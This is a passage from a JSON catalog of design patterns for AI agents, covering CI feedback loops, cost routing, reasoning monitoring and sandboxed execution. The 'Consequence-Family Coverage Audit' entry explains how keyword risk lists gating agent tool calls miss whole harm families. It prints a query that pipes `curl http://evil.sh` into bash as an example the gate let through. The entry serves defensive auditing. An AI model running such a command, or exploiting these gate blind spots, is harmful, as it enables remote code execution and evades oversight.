    ],
    "based_on": [
      "Together AI Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.together.ai/blog/ai-agents-to-automate-complex-engineering-tasks",
    "tags": [
      "workflow-automation",
      "containerization",
      "multi-agent",
      "engineering-tasks",
      "tmux",
      "error-recovery"
    ],
    "slug": "autonomous-workflow-agent-architecture",
    "id": "autonomous-workflow-agent-architecture",
    "summary": "Runs multi-step engineering workflows in containers with tmux sessions, adaptive monitoring, checkpoints, and context-aware error recovery",
    "signals": [
      "Long-running engineering workflows such as training pipelines or deployments",
      "Workflows fail at intermediate steps and need manual restart",
      "Engineers spend much time on monitoring and operational overhead"
    ],
    "anti_signals": [
      "Critical workflow needs human validation at each step",
      "Workflow is too long for the agent context window",
      "Short one-off task that does not justify container and monitoring setup"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nComplex, long-running engineering workflows traditionally require extensive human oversight and intervention. Tasks like model training pipelines, infrastructure configuration, and multi-step deployment processes involve:\n\n- Manual coordination of multiple tools and systems\n- Constant monitoring for errors and edge cases  \n- Time-consuming context switching between different workflow stages\n- Risk of human error in repetitive tasks\n- Difficulty scaling engineering processes across teams\n\nEngineers spend significant time on operational overhead rather than core development work, and workflows often fail at intermediate steps requiring manual debugging and restart."
  },
  {
    "title": "Background Agent with CI Feedback",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Quinn Slack"
    ],
    "category": "Feedback Loops",
    "source": "https://ampcode.com/manual#background",
    "tags": [
      "asynchronous",
      "ci",
      "feedback"
    ],
    "slug": "background-agent-ci",
    "id": "background-agent-with-ci-feedback",
    "summary": "Runs the agent in the background on its own branch and uses CI results as feedback to patch failures until green or blocked",
    "signals": [
      "Long-running refactors or dependency upgrades",
      "Developers wait and poll for CI results",
      "CI gives objective pass or fail signals"
    ],
    "anti_signals": [
      "No reliable CI suite exists",
      "Task needs frequent human decisions during the work"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nLong-running refactors and flaky-fix cycles force developers into synchronous supervision. When the agent must wait on tests, build jobs, and deployment checks, human attention gets wasted on polling instead of decision-making. This bottleneck is worse in distributed teams where CI feedback arrives minutes later and context-switch cost is high."
  },
  {
    "title": "Black-Box Skill Invocation",
    "status": "emerging",
    "authors": [
      "Ziwei Zhao (@ZiwayZhao)"
    ],
    "based_on": [
      "Capability-Based Security (Dennis & Van Horn, 1966)",
      "Remote Procedure Call (Birrell & Nelson, 1984)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/ZiwayZhao/agent-coworker",
    "tags": [
      "privacy",
      "skill-sharing",
      "black-box",
      "schema-only",
      "prompt-protection",
      "inter-agent",
      "trust"
    ],
    "slug": "black-box-skill-invocation",
    "id": "black-box-skill-invocation",
    "summary": "Shares skills through input and output schemas only and runs them on the provider side, so prompts and code never cross the boundary",
    "signals": [
      "Agents from different organizations collaborate without exposing proprietary logic",
      "Provider wants to offer a skill without revealing its implementation",
      "Collaboration is temporary and trust must expire"
    ],
    "anti_signals": [
      "Caller must inspect, debug, or verify how the skill ran",
      "Schemas cannot express valid inputs for the skill"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nWhen agents collaborate by sharing skills, the typical approach exposes implementation details: source code, prompts, internal logic, and model configurations. This creates knowledge leakage — a collaborator's agent can learn and replicate proprietary workflows after a single interaction.\n\nTraditional mitigations (NDAs, API gateways, access control lists) constrain humans but do not constrain agent memory. Once an agent observes implementation details during collaboration, the knowledge cannot be \"unlearned.\""
  },
  {
    "title": "Board-Mediated Async Inter-Agent Coordination",
    "status": "validated-in-production",
    "authors": [
      "James Farley (@AgileSmagile)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/AgileSmagile/smagile-agentic-kanban-blueprint",
    "tags": [
      "multi-agent",
      "coordination",
      "async",
      "kanban",
      "board",
      "message-routing",
      "inbox",
      "session-continuity",
      "audit-trail"
    ],
    "slug": "board-mediated-inter-agent-coordination",
    "id": "board-mediated-async-inter-agent-coordination",
    "summary": "Routes agent-to-agent messages through comment threads on board cards, with a prefix that creates an inbox card to notify the target agent",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "Agents run in separate sessions and cannot talk directly",
      "Team tracks work on a Kanban board with an API",
      "Coordination decisions must stay with the work record"
    ],
    "anti_signals": [
      "Coordination is time-sensitive and cannot wait for polling",
      "Several instances of the same agent run at once"
    ],
    "related": [
      "cross-cycle-consensus-relay",
      "memory-synthesis-from-execution-logs"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAgents running in separate sessions cannot communicate without a human routing messages between them.  Shared context windows do not survive session boundaries.  The standard workarounds -- a human copy-pasting between terminals, shared files, or a dedicated message queue -- all have failure modes: human bottleneck, no delivery guarantee, or a coordination system that is decoupled from the work being coordinated.\n\nThe coordination problem compounds when you want the exchange to be useful later.  A review comment posted in a Slack thread disappears from the work record.  A decision made in a separate file has no connection to the card that required it.  The work and the context that shaped it are separated."
  },
  {
    "title": "Budget-Aware Model Routing with Hard Cost Caps",
    "status": "established",
    "authors": [
      "Codex (@openai)"
    ],
    "based_on": [
      "Multi-model routing practices from production LLM systems"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2305.05176",
    "tags": [
      "routing",
      "cost-control",
      "multi-model",
      "orchestration",
      "reliability"
    ],
    "slug": "budget-aware-model-routing-with-hard-cost-caps",
    "id": "budget-aware-model-routing-with-hard-cost-caps",
    "summary": "Routes each request to the cheapest model that meets its needs under hard cost caps, and escalates only when quality gates fail",
    "signals": [
      "Model bills grow faster than product value",
      "Every request goes to the strongest model by default",
      "High-volume workflows with measurable quality targets"
    ],
    "anti_signals": [
      "Task complexity cannot be classified reliably",
      "Team cannot maintain an extra routing control plane"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAgent systems often route every request to the strongest model by default, which quietly inflates cost and reduces throughput under load. Soft budget guidance in prompts is not enough because model selection happens in control code, not language outputs. Teams need deterministic guardrails that preserve quality for hard tasks while preventing runaway token spend for routine work."
  },
  {
    "title": "Burn the Boats",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.youtube.com/watch?v=4rx36wc9ugw",
    "tags": [
      "feature-killing",
      "forced-evolution",
      "courage",
      "focus",
      "self-destruct",
      "obsolescence",
      "product-strategy"
    ],
    "slug": "burn-the-boats",
    "id": "burn-the-boats",
    "summary": "Removes working but obsolete features on a hard, announced deadline so the team and users move to the new approach",
    "signals": [
      "The paradigm shifted and an old feature is now obsolete",
      "Maintaining the old feature splits team focus",
      "Feature is kept only for comfort"
    ],
    "anti_signals": [
      "Feature is core to the value proposition",
      "No clear alternative exists or the new way is unproven",
      "Change gives agents irreversible operations with broad permissions"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn fast-moving AI development, holding onto features or workflows that are \"working fine\" prevents teams from fully embracing new paradigms. The comfort of existing functionality becomes an anchor that holds back innovation—even when you know the old approach is obsolete."
  },
  {
    "title": "Canary Rollout and Automatic Rollback for Agent Policy Changes",
    "status": "established",
    "authors": [
      "Codex (@openai)"
    ],
    "based_on": [
      "Canary deployment and SRE rollback practices"
    ],
    "category": "Reliability & Eval",
    "source": "https://martinfowler.com/bliki/CanaryRelease.html",
    "tags": [
      "canary",
      "rollback",
      "reliability",
      "policy",
      "evaluation"
    ],
    "slug": "canary-rollout-and-automatic-rollback-for-agent-policy-changes",
    "id": "canary-rollout-and-automatic-rollback-for-agent-policy-changes",
    "summary": "Ships agent policy changes to a small traffic slice first, monitors guardrail metrics, and rolls back to the last stable version automatically",
    "signals": [
      "Prompts, tool policies, or routing rules change often",
      "Small policy edits can cause regressions in cost, latency, safety, or quality"
    ],
    "anti_signals": [
      "No real-time telemetry to detect regressions",
      "Policies are not versioned, so rollback cannot restore a known-good state"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAgent behavior changes frequently through prompt updates, tool policies, routing rules, and evaluator thresholds. Even small policy edits can produce broad regressions in cost, latency, safety, or task quality. Full rollouts without staged exposure make rollback slow and user impact large."
  },
  {
    "title": "Capability-Escrow-Receipt",
    "status": "experimental-but-awesome",
    "authors": [
      "Dillon Sexton (@EmperorMew)"
    ],
    "based_on": [
      "Voidly Pay (contributor-owned reference implementation)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/voidly-ai/voidly-pay",
    "tags": [
      "multi-agent",
      "coordination",
      "payments",
      "escrow",
      "receipts",
      "capabilities",
      "atomic-hire"
    ],
    "slug": "capability-escrow-receipt",
    "id": "capability-escrow-receipt",
    "summary": "Binds a signed capability listing, an atomic escrow-plus-hire step, and a signed work receipt into one loop for agent-to-agent payment",
    "signals": [
      "Agents pay other agents for bounded, verifiable work units",
      "Budget hold and hire record must not drift apart",
      "Parties cross organizational trust boundaries"
    ],
    "anti_signals": [
      "Ledger cannot do multi-write transactions",
      "Agents cannot manage signing keys safely",
      "No one can verify work or decide contested receipts"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nWhen autonomous agents pay each other for work, three concerns collide:\n\n- **Discovery:** How does a hiring agent find a provider that can do the job, with a price it trusts?\n- **Atomicity:** If \"reserve budget\" and \"record the hire\" happen as separate calls, an agent can double-spend, or a provider can do the work and find the budget was never held.\n- **Accountability:** If work is delivered, who attests that it was done, and how is that attestation tied to the specific payment being released?\n\nExisting primitives cover only slices. Plain transfer loses atomicity. Milestone escrow with a human oracle doesn't scale agent-to-agent. Invoice-then-pay invites repudiation. Agents need a single, narrow flow that binds capability discovery, payment hold, and signed proof of work into one loop."
  },
  {
    "title": "Chain-of-Thought Monitoring & Interruption",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Tanner Jones (Vulcan)"
    ],
    "category": "UX & Collaboration",
    "source": "https://claude.com/blog/building-companies-with-claude-code",
    "tags": [
      "monitoring",
      "intervention",
      "debugging",
      "reasoning",
      "ux"
    ],
    "slug": "chain-of-thought-monitoring-interruption",
    "id": "chain-of-thought-monitoring-interruption",
    "summary": "Streams agent reasoning and tool calls in real time so a human can interrupt and redirect early when the approach is wrong",
    "signals": [
      "Complex refactoring where wrong file choices are costly",
      "High-stakes operations such as database migrations or API changes",
      "Requirements are ambiguous and the agent may misread them"
    ],
    "anti_signals": [
      "Agent runs fully unattended with no human watching",
      "Routine tasks where monitoring adds more load than it saves"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAI agents can pursue misguided reasoning paths for extended periods before producing final outputs. By the time developers realize the approach is wrong, significant time and tokens have been wasted on a fundamentally flawed direction. Traditional \"fire and forget\" agent execution provides no opportunity for early course correction."
  },
  {
    "title": "Classify-Then-Act for Background Agents",
    "status": "emerging",
    "authors": [
      "James Ross (@jimy-r)"
    ],
    "based_on": [
      "Google's Large-Scale Changes process (speculative change generation + human review queues)",
      "Agent Workspace Architecture (production workspace)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/jimy-r/agent-workspace-architecture/blob/main/PATTERNS.md#2-classify-then-act-not-ask-then-wait",
    "tags": [
      "background-agents",
      "task-triage",
      "sandboxed-build",
      "review-queue",
      "autonomy-boundary"
    ],
    "slug": "classify-then-act-for-background-agents",
    "id": "classify-then-act-for-background-agents",
    "summary": "Sorts each task into has-default, needs-intent, or out-of-scope, builds only has-default work in a sandbox, and queues it for human review",
    "signals": [
      "Background agent handles many task shapes",
      "Full autonomy is too risky but asking about everything stalls work",
      "Same rejected ideas keep coming back"
    ],
    "anti_signals": [
      "No explicit human-delegated mandate defines which tasks belong to the agent",
      "No one reads the review queue on their normal path"
    ],
    "related": [
      "human-in-loop-approval-framework",
      "custom-sandboxed-background-agent"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA background agent working through a task list has two failure modes at the extremes. Act on everything with full confidence and it ships work nobody wanted. Ask before doing anything and it becomes a nag that stalls on every ambiguous item, until the human stops trusting it to do anything alone."
  },
  {
    "title": "CLI-First Skill Design",
    "status": "emerging",
    "authors": [
      "Lucas Carlson"
    ],
    "based_on": [
      "Anthropic (Claude Code)",
      "Unix Philosophy"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/anthropics/claude-code",
    "tags": [
      "cli",
      "skills",
      "shell",
      "dual-use",
      "composability",
      "unix-philosophy"
    ],
    "slug": "cli-first-skill-design",
    "id": "cli-first-skill-design",
    "summary": "Builds each skill as a standalone CLI with JSON output and exit codes so humans and agents use the same interface",
    "signals": [
      "Skills must be usable by both humans and agents",
      "Teams maintain separate API and GUI interfaces for one skill",
      "Skills need to compose with Unix tools and scripts"
    ],
    "anti_signals": [
      "High-frequency calls above about 100 per second",
      "Complex object graphs or real-time streaming"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen building agent skills (reusable capabilities), there's tension between:\n\n- **API-first design**: Skills as functions/classes—great for programmatic use, but hard to debug and test manually\n- **GUI-first design**: Skills as visual tools—easy for humans, but agents can't invoke them\n\nTeams end up building two interfaces or choosing one audience over the other."
  },
  {
    "title": "CLI-Native Agent Orchestration",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Jory Pestorious"
    ],
    "category": "Tool Use & Environment",
    "source": "http://jorypestorious.com/blog/ai-engineer-spec/",
    "tags": [
      "cli",
      "automation",
      "local-dev",
      "headless"
    ],
    "slug": "cli-native-agent-orchestration",
    "id": "cli-native-agent-orchestration",
    "summary": "Exposes agent capabilities as CLI commands with JSON output and exit codes so Makefiles, Git hooks, cron jobs, and CI can script and replay agent runs",
    "signals": [
      "Agent runs must repeat the same way in local dev and CI",
      "You want to compose agent steps with shell tools, make targets, or Git hooks",
      "Scripts need to parse agent results and exit codes"
    ],
    "anti_signals": [
      "Exploratory tasks with unclear next steps",
      "Real-time conversational workflows",
      "High-frequency calls above about 100 per second"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMost agent workflows start in chat UIs that are optimized for one-off conversations, not repeatable engineering operations. Teams struggle to automate runs, compose agent steps with existing shell tools, and enforce the same behavior in local development and CI. Without a CLI surface, orchestration logic becomes manual and hard to reproduce.\n\nThe CLI-Native approach applies 50+ years of Unix design principles—modularity, composition, and explicit execution—to agent orchestration."
  },
  {
    "title": "Code Mode MCP Tool Interface Improvement Pattern",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Cloudflare Team"
    ],
    "category": "Tool Use & Environment",
    "source": "https://blog.cloudflare.com/code-mode/",
    "tags": [
      "tool-interface",
      "code-generation",
      "sandboxing",
      "mcp",
      "mcp-improvement",
      "typescript",
      "v8-isolates",
      "token-optimization"
    ],
    "slug": "code-first-tool-interface-pattern",
    "id": "code-mode-mcp-tool-interface-improvement-pattern",
    "summary": "LLMs generate TypeScript code to orchestrate MCP tools in ephemeral V8 isolates, eliminating token-heavy round-trips and enabling efficient multi-step workflows with 10x+ token savings.",
    "signals": [
      "Workflow has a clear sequence of tool calls you can map out upfront",
      "Fan-out over many items would overflow context with direct tool calls",
      "Intermediate tool results are large JSON that the model does not need to see"
    ],
    "anti_signals": [
      "Open-ended research where each next step depends on the last result",
      "LLM reasoning is needed between tool calls, such as per-item personalization",
      "Single one-off tool calls or quick prototypes without sandbox infrastructure"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nTraditional Model Context Protocol (MCP) approaches of directly exposing tools to Large Language Models create significant token waste and complexity issues. We've moved from telling LLMs what to do, to teaching them to write instructions for themselves—it's **turtles writing code all the way down**[^1] for all domains.\n\n#"
  },
  {
    "title": "Code-Over-API Pattern",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.anthropic.com/engineering/code-execution-with-mcp",
    "tags": [
      "token-optimization",
      "code-execution",
      "data-processing",
      "mcp"
    ],
    "slug": "code-over-api-pattern",
    "id": "code-over-api-pattern",
    "summary": "Agent writes code that calls tools and filters data inside a sandbox, so only summaries and samples return to the context window",
    "signals": [
      "Data-heavy workflows over spreadsheets, databases, or logs",
      "Intermediate results do not need model inspection",
      "Token cost or latency matters"
    ],
    "anti_signals": [
      "No secure sandboxed code execution environment is available",
      "The model is not able to write correct code for the task",
      "Small tool results that fit easily in context"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen agents make direct API or tool calls, all intermediate data must flow through the model's context window. For data-heavy workflows (processing spreadsheets, filtering logs, transforming datasets), this creates massive token consumption and increased latency. A workflow that fetches 10,000 spreadsheet rows and filters them can easily consume 150,000+ tokens just moving data through the context."
  },
  {
    "title": "Code-Then-Execute Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "DeepMind CaMeL (orig.)",
      "Luca Beurer-Kellner et al. (2025)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "dsl",
      "sandbox",
      "program-synthesis",
      "auditability"
    ],
    "slug": "code-then-execute-pattern",
    "id": "code-then-execute-pattern",
    "summary": "LLM writes a sandboxed program or DSL script, a static taint checker verifies data flows, and an interpreter runs it in a locked sandbox",
    "signals": [
      "Security-sensitive workflows where tainted input must not reach dangerous sinks",
      "Multi-step agents such as SQL copilots or workflow automators that need auditability",
      "You need formal verification or replay logs of agent actions"
    ],
    "anti_signals": [
      "You cannot invest in DSL design and static-analysis infrastructure",
      "Simple tasks where sandbox execution overhead outweighs audit value"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nFree-form plan-and-act loops are difficult to audit because critical control decisions stay implicit in natural-language reasoning. In security-sensitive workflows, teams need verifiable guarantees that tainted inputs cannot flow into dangerous sinks (for example, external messages, payments, or destructive commands). Plain-text plans are too weak for formal validation."
  },
  {
    "title": "Codebase Optimization for Agents",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack, Tim Culverhouse)",
      "Raising an Agent Podcast"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=2wjnV6F2arc",
    "tags": [
      "agent-first",
      "human-dx",
      "regression",
      "optimization",
      "tooling",
      "codebase-design",
      "trade-offs",
      "agent-native",
      "feedback-loops"
    ],
    "slug": "codebase-optimization-for-agents",
    "id": "codebase-optimization-for-agents",
    "summary": "Optimizes tooling, CLIs, tests, and docs for agents first, with one-command verify loops and machine-readable output, even if human DX regresses",
    "signals": [
      "Agents will use a workflow about 10x more than humans",
      "Agents cannot verify their own changes automatically",
      "The workflow is automatable and well-defined"
    ],
    "anti_signals": [
      "The workflow needs human creativity or judgment",
      "Humans are the primary users and agents rarely touch it",
      "The team is not committed to agent-first development"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen introducing AI agents to a codebase, there's a natural tendency to preserve the human developer experience (DX). However, this limits agent effectiveness because the codebase remains optimized for humans, not for the AI workers who will increasingly operate autonomously.\n\nA related problem: even good models struggle without clear feedback loops. When an agent can't verify its changes work, it fails not because of capability limits but because the codebase isn't \"welded\" to the agent."
  },
  {
    "title": "Coding Agent CI Feedback Loop",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Quinn Slack (Concept)",
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Feedback Loops",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "CI",
      "coding-agent",
      "asynchronous",
      "test-driven",
      "feedback"
    ],
    "slug": "coding-agent-ci-feedback-loop",
    "id": "coding-agent-ci-feedback-loop",
    "summary": "Agent pushes a branch, polls CI for partial failures, patches the failing files within a retry budget, and notifies when all tests pass",
    "signals": [
      "Coding agent does multi-file refactors or features with long test suites",
      "Waiting for CI synchronously leaves the agent or compute idle",
      "CI output can be parsed into structured diagnostics"
    ],
    "anti_signals": [
      "Flaky tests without flakiness detection would mislead the agent",
      "The agent must not have permission to push branches or read CI logs"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen a coding agent tackles multi-file refactors or feature additions, running tests and waiting for test feedback **synchronously** ties up compute and prevents the agent from working on parallel tasks. The agent cannot easily improve code if it must halt until the entire suite finishes.\n\n- Traditional CI loops block further edits; the agent \"babysits\" the build until tests pass.\n- Long test suites introduce idle periods, leading to underutilized GPUs and inflated RL training times."
  },
  {
    "title": "Commitment Ledger with Reality-Gated Credit",
    "status": "proposed",
    "authors": [
      "Max Baluev (@maxbaluev)"
    ],
    "based_on": [
      "AccInt implementation example",
      "Reflexion-style episodic feedback",
      "SRE postmortem practice"
    ],
    "category": "Learning & Adaptation",
    "source": "https://github.com/maxbaluev/accreted-intelligence",
    "tags": [
      "commitment-ledger",
      "outcome-feedback",
      "agent-memory",
      "credit-assignment",
      "reality-gating"
    ],
    "slug": "commitment-ledger-reality-gated-credit",
    "id": "commitment-ledger-with-reality-gated-credit",
    "summary": "Records agent promises and credits retrieved memory only after an externally verifiable outcome settles.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "Multi-step agent work",
      "Clear success or failure signal",
      "Need auditable learning history"
    ],
    "anti_signals": [
      "One-shot answers",
      "No observable outcome",
      "Highly sensitive data without retention policy"
    ],
    "prerequisites": [
      "Persistent ledger",
      "Outcome verifier",
      "Memory retrieval provenance"
    ],
    "related": [
      "episodic-memory-retrieval-injection",
      "memory-reinforcement-learning-memrl",
      "incident-to-eval-synthesis"
    ],
    "tools": [
      "memory-store",
      "verifier",
      "ledger"
    ],
    "domains": [
      "coding",
      "research",
      "operations"
    ],
    "updated_at": "2026-06-15",
    "excerpt": "\n## Problem\nAgents often write memories or update heuristics immediately after generating an answer. That creates weak learning signals:\n\n- A plausible answer can be recorded as if it worked.\n- Retrieved memories get credited even when the final action later fails.\n- Human review, tests, production incidents, and real replies are disconnected from the memory records that influenced the action.\n- Future agents cannot audit which past commitments were predictions, which were settled facts, and which were never verified.\n\nThe result is memory that compounds confidence faster than it compounds truth."
  },
  {
    "title": "Compounding Engineering Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Dan Shipper (Every)",
      "Every Engineering Team"
    ],
    "category": "Learning & Adaptation",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "learning",
      "feedback-loops",
      "codification",
      "prompts",
      "slash-commands",
      "onboarding",
      "knowledge-sharing"
    ],
    "slug": "compounding-engineering-pattern",
    "id": "compounding-engineering-pattern",
    "summary": "After each feature, codifies agent mistakes and learnings into CLAUDE.md, slash commands, subagents, and hooks so the next feature is easier to build",
    "signals": [
      "The agent repeats the same mistakes across features",
      "Onboarding people or agents to the codebase is slow",
      "Your agent system supports slash commands, subagents, or hooks"
    ],
    "anti_signals": [
      "The team cannot spend time documenting after each feature",
      "System prompts are already bloated with too many rules"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nTraditional software engineering has **diminishing returns**: each feature added increases complexity, making subsequent features harder to build. Technical debt accumulates, onboarding takes longer, and new team members struggle to be productive.\n\nWith AI coding agents, this problem is amplified—agents make the same mistakes repeatedly because learnings aren't systematically captured and codified."
  },
  {
    "title": "Conditional Parallel Tool Execution",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Gerred Dillon ('Building an Agentic System')"
    ],
    "category": "Orchestration & Control",
    "source": "https://gerred.github.io/building-an-agentic-system/parallel-tool-execution.html",
    "tags": [
      "parallel execution",
      "tool orchestration",
      "read-only tools",
      "stateful tools",
      "agent efficiency",
      "agent safety",
      "concurrency control",
      "task scheduling"
    ],
    "slug": "parallel-tool-execution",
    "id": "conditional-parallel-tool-execution",
    "summary": "Runs a batch of tool calls in parallel when all are read-only and in sequence when any modifies state, then returns results in request order",
    "signals": [
      "Agent often requests several tools in one step",
      "Most tool calls only read files or state",
      "Each tool can declare whether it is read-only"
    ],
    "anti_signals": [
      "Most batches include state-modifying tools",
      "Tools cannot be classified reliably"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen an AI agent decides to use multiple tools in a single reasoning step, executing them strictly sequentially can lead to significant delays, especially if many tools are read-only and could be run concurrently. Conversely, executing all tools in parallel without consideration can cause race conditions, data corruption, or unpredictable behavior if some tools modify state (e.g., write to files, change system settings)."
  },
  {
    "title": "Consequence-Family Coverage Audit",
    "status": "emerging",
    "authors": [
      "Tulip Labs (@fede-kamel)"
    ],
    "based_on": [
      "Tulip Labs (Policy blindness, 2026)"
    ],
    "category": "Security & Safety",
    "source": "https://tulipagents.ai/research/policy-blindness/",
    "tags": [
      "risk-classification",
      "policy-authoring",
      "coverage-testing",
      "admission-control",
      "blind-spots"
    ],
    "slug": "consequence-family-coverage-audit",
    "id": "consequence-family-coverage-audit",
    "summary": "Audit an agent's risk policy by enumerating families of consequence and asking which rule covers each, because a hand-written risk list reliably encodes one family and stays silent on the rest",
    "maturity": "early",
    "complexity": "low",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "Agent has tools that can spend money, run code, move data, or message real people",
      "Risk rules are a keyword list or a set of tool names",
      "The policy was validated against the tool catalog and passed"
    ],
    "anti_signals": [
      "Agent is read-only",
      "Every tool call already requires human approval"
    ],
    "prerequisites": [
      "An enumerable tool catalog",
      "A risk classifier or policy to audit"
    ],
    "related": [
      "policy-gated-tool-proxy",
      "human-in-loop-approval-framework",
      "sandboxed-tool-authorization"
    ],
    "tools": [
      "policy-engines",
      "tool-registries"
    ],
    "domains": [
      "ops",
      "security",
      "fintech"
    ],
    "updated_at": "2026-08-13",
    "excerpt": "\n## Problem\nAn agent gate has two halves. There is an **enforcement point** that decides\nallow / hold / deny and refuses to run anything else — see\n[policy-gated-tool-proxy](policy-gated-tool-proxy.md) — and there is a\n**classifier** that decides what kind of thing is being proposed. The\nenforcement point is deterministic, small, and exhaustively testable. Everyone\nreviews it, because it looks like security.\n\nThe classifier is usually a list of strings, and that list has a failure mode\nthat survives review: **it describes one family of consequence and says nothing\nabout the others.**\n\nThe failure is not carelessness. Every entry on the list is correct. The list\nis simply written from inside one idea of harm — and from inside that frame,\nthe missing families are invisible.\n\nThree real gates, each reviewed, tested, and validated against the live tool\ncatalog:\n\n| gate over | the list covered | it was silent on |\n|---|---|---|\n| a payments API | money **out** — refund, cancel, dispute, delete | money **in** — creating a charge, standing up a payment page |\n| a DFIR/EDR query tool | **destruction** — quarantine, kill, wipe, uninstall | **execution and exfiltration** |\n| a billing API | **money movement** | **outbound communication** |\n\nThe second is the instructive one. Fourteen markers, all destruction verbs. A\ngate that correctly held `Windows.Remediation.Quarantine` let this through as a\nbenign read:\n\n```sql\nSELECT * FROM execve(argv=[\"bash\",\"-c\",\"curl http://evil.sh | bash\"])\n```\n\nNobody decided arbitrary code execution on a fleet endpoint was acceptable.\nRunning a command destroys nothing, so no destruction verb matched.\n\n**Validating against the real tool catalog does not catch this.** You score the\ncatalog against a ground truth you also wrote, from the same mental model that\nproduced the list. The labels agree with the classifier because both encode the\nsame idea of harm. One of the gates above scored 62/62 on a catalog pulled live\nfrom the real API, twice, across six rounds of hardening — while \"create a\ncharge\" was classified low-risk the entire time."
  },
  {
    "title": "Context Budget as a Governed Resource",
    "status": "validated-in-production",
    "authors": [
      "James Ross (@jimy-r)"
    ],
    "based_on": [
      "Anthropic context-engineering guidance",
      "Agent Workspace Architecture (production workspace)"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/jimy-r/agent-workspace-architecture/blob/main/PATTERNS.md#9-context-is-a-budget-not-a-constant",
    "tags": [
      "context-budget",
      "token-costs",
      "ghost-tokens",
      "compaction",
      "scheduled-agents"
    ],
    "slug": "context-budget-as-a-governed-resource",
    "id": "context-budget-as-a-governed-resource",
    "summary": "Measures always-loaded context per source, alerts on trend growth, and puts hard spend caps and fan-out bounds on unattended agent runs",
    "signals": [
      "Files are auto-loaded into every agent session",
      "Agents run unattended on a schedule",
      "Multi-agent workflows fan out based on discovered data"
    ],
    "anti_signals": [
      "No always-loaded context and no unattended runs",
      "Cap sizing would abort legitimately heavy runs you cannot bound"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAlways-loaded context accretes silently. Instruction files, memory indexes, skill descriptions, and hook configuration each add \"ghost tokens\" the agent pays on every turn of every session. No single addition is big; the aggregate grows a few percent a week. Quality degrades, costs climb, and nothing fails loudly enough to notice. Unattended agents make it worse: scheduled jobs spend tokens with nobody watching, so one job's appetite regression can run for weeks."
  },
  {
    "title": "Context Window Anxiety Management",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Cognition AI (2025)"
    ],
    "category": "Context & Memory",
    "source": "https://cognition.ai/blog/devin-sonnet-4-5-lessons-and-challenges (September 2025)",
    "tags": [
      "context-anxiety",
      "token-management",
      "premature-completion",
      "model-behavior"
    ],
    "slug": "context-window-anxiety-management",
    "id": "context-window-anxiety-management",
    "summary": "Enables a large context window but caps usage lower, and adds prompts that state the token budget so the model does not rush to finish",
    "signals": [
      "Model summarizes or wraps up early despite remaining context",
      "Long coding, research, or planning sessions where premature completion hurts quality"
    ],
    "anti_signals": [
      "The model does not show context-anxiety behavior",
      "Extra prompt tokens and model-specific tuning are not acceptable"
    ],
    "updated_at": "2026-03-11",
